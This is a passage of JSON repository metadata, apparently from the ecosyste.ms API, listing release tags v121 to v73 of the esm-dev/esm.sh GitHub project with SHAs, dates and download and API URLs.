sh@v121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v121/manifests"},{"name":"v120","sha":"9b96013acf18bcca78168cf6c7aa2d87cac14cf2","kind":"tag","published_at":"2023-05-10T11:40:42.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v120","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v120","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v120","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v120","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v120/manifests"},{"name":"v119","sha":"bf5fa0520b5471a61eb2d6d4e4b0541acf8da393","kind":"tag","published_at":"2023-05-03T10:32:19.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v119","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v119","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v119","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v119","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v119/manifests"},{"name":"v118","sha":"5a6d6b59472b1acac16a4f9f119efd82c3183f4e","kind":"commit","published_at":"2023-04-30T03:22:12.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v118","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v118","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v118","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v118","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v118/manifests"},{"name":"v117","sha":"b7dee4bfdefc418e5fe22e84550154dbb4ed4680","kind":"commit","published_at":"2023-04-21T14:13:57.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v117","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v117","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v117","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v117","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v117/manifests"},{"name":"v116","sha":"25586731ef628286353d0898871076b3b9258941","kind":"commit","published_at":"2023-04-18T10:28:08.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v116","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v116","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v116","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v116","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v116/manifests"},{"name":"v115","sha":"6ce0b18d7cc0cd1f467b177bf16fcb56427fd962","kind":"commit","published_at":"2023-04-12T08:50:46.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v115","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v115","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v115","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v115","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v115/manifests"},{"name":"v114","sha":"cd296b2ec35851ec506f57930df747a7e2c5cfec","kind":"commit","published_at":"2023-04-06T09:29:47.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v114","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v114","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v114","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v114","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v114/manifests"},{"name":"v113","sha":"03851b0c65f44b5e4f6d628e34b9a93677797c84","kind":"commit","published_at":"2023-03-25T18:56:39.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v113","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v113","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v113","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v113","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v113/manifests"},{"name":"v112","sha":"fa4a08c4158fad133a3973e8aa40af12ace0e14e","kind":"tag","published_at":"2023-03-22T19:41:59.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v112","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v112","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v112","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v112","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v112/manifests"},{"name":"v111","sha":"dbbc27fd67f743becc96c5dd34159ce97a446b93","kind":"commit","published_at":"2023-03-06T03:55:28.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v111","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v111","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v111","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v111","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v111/manifests"},{"name":"v110","sha":"a3070200bda386ad28b5286093c1e87cb144f377","kind":"commit","published_at":"2023-03-01T23:11:41.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v110","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v110/manifests"},{"name":"v109","sha":"a4aa6e7b141bca75d9a82a095fead802fec2aad7","kind":"commit","published_at":"2023-03-01T04:31:55.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v109","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v109","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v109","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v109","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v109/manifests"},{"name":"v108","sha":"8d3fd5ec8c148b57c0bac43f62a8e1d85129c999","kind":"commit","published_at":"2023-02-26T02:10:49.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v108","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v108/manifests"},{"name":"v107","sha":"2c5986701e0ff69b446b65bcfab9eab07fc0686f","kind":"commit","published_at":"2023-02-21T17:49:17.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v107","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v107/manifests"},{"name":"v106","sha":"4431c52afca42e0e15f68fae0360878ee1a9b25e","kind":"commit","published_at":"2023-01-28T17:46:13.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v106","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v106","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v106","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v106","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v106/manifests"},{"name":"v105","sha":"e474412b1f5504818978caa8bc35a7fb2d5d5f87","kind":"commit","published_at":"2023-01-28T13:51:51.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v105","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v105/manifests"},{"name":"v104","sha":"fed58446dbc2a572ca79a104b6adc9ba9546dbec","kind":"commit","published_at":"2023-01-22T11:35:08.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v104","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v104/manifests"},{"name":"v103","sha":"ee5f8209e6d3b06fbf5712e424652e909a4cb5c2","kind":"commit","published_at":"2023-01-17T09:16:10.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v103","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v103","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v103","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v103","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v103/manifests"},{"name":"v102","sha":"4a16b15bb5cfeca493c79231452e94e56487d6b4","kind":"commit","published_at":"2022-12-27T21:10:06.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v102","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v102","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v102","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v102","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v102/manifests"},{"name":"v101","sha":"c5353e1f3c9385c35f64e838a0a09dc4bb8f7b07","kind":"commit","published_at":"2022-12-27T11:19:17.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v101","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v101","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v101","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v101","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v101/manifests"},{"name":"v100","sha":"ddd1fa69be3e6c6a8b2f18af8f8f5607106188db","kind":"commit","published_at":"2022-12-25T22:04:03.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v100","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v100","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v100","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v100","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v100/manifests"},{"name":"v99","sha":"27496e5da8bdeed5da26b44c0fa2b556d285c1dc","kind":"commit","published_at":"2022-11-19T07:48:14.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v99","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v99","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v99","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v99","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v99/manifests"},{"name":"v98","sha":"84106622f3473aa816fedab9e11c102d08391239","kind":"commit","published_at":"2022-11-11T07:05:05.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v98","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v98","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v98","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v98","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v98/manifests"},{"name":"v97","sha":"95352550f2143ab4ceb463b6d02884bcf11ca6b9","kind":"commit","published_at":"2022-11-07T13:25:55.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v97","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v97","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v97","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v97","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v97/manifests"},{"name":"v96","sha":"53e6c04b92c9c0b8a8738fdfcdb9f603d7888e39","kind":"commit","published_at":"2022-09-29T14:16:32.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v96","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v96","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v96","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v96","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v96/manifests"},{"name":"v95","sha":"170f5aebfe45cdfb5a12a539ea3e061f3968127b","kind":"commit","published_at":"2022-09-16T11:18:37.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v95","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v95","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v95","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v95","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v95/manifests"},{"name":"v94","sha":"79d24d2931bba7e9284b4e350fd798f41ff9e545","kind":"commit","published_at":"2022-09-05T12:46:58.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v94","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v94","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v94","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v94","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v94/manifests"},{"name":"v93","sha":"8513142ae5aab4228b2cf9690a69ab323202550d","kind":"commit","published_at":"2022-09-04T19:51:02.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v93","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v93","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v93","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v93","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v93/manifests"},{"name":"v92","sha":"1a0ab3d65a317c813c630ea23702fd14c546b1bd","kind":"commit","published_at":"2022-08-22T16:07:08.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v92","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v92","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v92","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v92","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v92/manifests"},{"name":"v91","sha":"ba2cad035e0a5298a530000e0273791f5885d394","kind":"commit","published_at":"2022-08-12T13:20:25.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v91","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v91","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v91","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v91","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v91/manifests"},{"name":"v90","sha":"2e882fed0a8344dab502c6b0482839ba6fa0f2bb","kind":"commit","published_at":"2022-08-05T15:33:22.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v90","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v90","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v90","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v90","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v90/manifests"},{"name":"v89","sha":"13009e2127f0e52ac05a451e92546be26bd2c4ca","kind":"commit","published_at":"2022-07-29T10:26:43.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v89","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v89","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v89","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v89","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v89/manifests"},{"name":"v88","sha":"d15cc0c25e97bee5ec126f0e36c9f86267519025","kind":"commit","published_at":"2022-07-28T14:54:44.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v88","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v88","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v88","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v88","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v88/manifests"},{"name":"v87","sha":"4d4294c518d71a66a444ba7932618bd4c0cc3d31","kind":"commit","published_at":"2022-07-11T23:00:23.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v87","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v87","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v87","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v87","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v87/manifests"},{"name":"v86","sha":"5673335781f78b11148cddfa9e95bb4541408170","kind":"commit","published_at":"2022-06-09T05:39:03.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v86","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v86","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v86","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v86","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v86/manifests"},{"name":"v85","sha":"0566c4c73a0f29939a614bafed82e56426010450","kind":"commit","published_at":"2022-06-01T02:28:09.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v85","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v85","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v85","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v85","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v85/manifests"},{"name":"v84","sha":"d8890646dd7465f64790d6f3ce245a40ae478915","kind":"commit","published_at":"2022-05-31T07:49:15.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v84","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v84","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v84","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v84","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v84/manifests"},{"name":"v83","sha":"9369e1994113247e1cb3ea6aef9d52fe63e8e188","kind":"commit","published_at":"2022-05-29T05:07:48.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v83","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v83","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v83","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v83","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v83/manifests"},{"name":"v82","sha":"d1b0b3ffa2f1679b53fe1453add28db94b9c02e7","kind":"commit","published_at":"2022-05-22T03:02:26.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v82","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v82","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v82","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v82","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v82/manifests"},{"name":"v81","sha":"5c6fb77c9a0dd4b302cdb033167473c0ff5e50bc","kind":"commit","published_at":"2022-05-22T00:47:45.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v81","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v81","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v81","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v81","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v81/manifests"},{"name":"v80","sha":"288102a3d97dfee00a7b36f55cceed8c8eef3c69","kind":"commit","published_at":"2022-05-21T23:17:45.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v80","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v80","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v80","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v80","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v80/manifests"},{"name":"v79","sha":"8c81425e50b63fde218bcc2ce2b20b5866b6bbe1","kind":"commit","published_at":"2022-05-21T23:03:28.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v79","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v79","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v79","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v79","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v79/manifests"},{"name":"v78","sha":"206bd7fbd97f539bdaa56952f7f798b8ac30eb82","kind":"commit","published_at":"2022-04-22T10:01:12.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v78","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v78","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v78","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v78","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v78/manifests"},{"name":"v77","sha":"800898b09264dad67df64ff82394c66c52708d98","kind":"commit","published_at":"2022-04-09T12:56:48.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v77","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v77","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v77","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v77","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v77/manifests"},{"name":"v76","sha":"8cb6ea2a36cdb2d278a4cb8b5d55bf672528dece","kind":"commit","published_at":"2022-04-04T11:13:10.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v76","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v76","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v76","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v76","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v76/manifests"},{"name":"v75","sha":"d7749d3350dd9090b935c52f6883323b7c54d578","kind":"commit","published_at":"2022-04-04T09:21:17.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v75","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v75","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v75","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v75","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v75/manifests"},{"name":"v74","sha":"b254d7dda6e6f86ac9f571075a2bc0fa4c1a6094","kind":"commit","published_at":"2022-03-26T09:47:00.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v74","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v74","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v74","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v74","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v74/manifests"},{"name":"v73","sha":"10c2b54889202eb75a9184ec5b5a9a4a8deda8c1","kind":"commit","published_at":"2022-03-23T13:11:37.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v73","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v73","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v73","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v73","manifests_url":"https://repos.ecosyste.ms/api/v1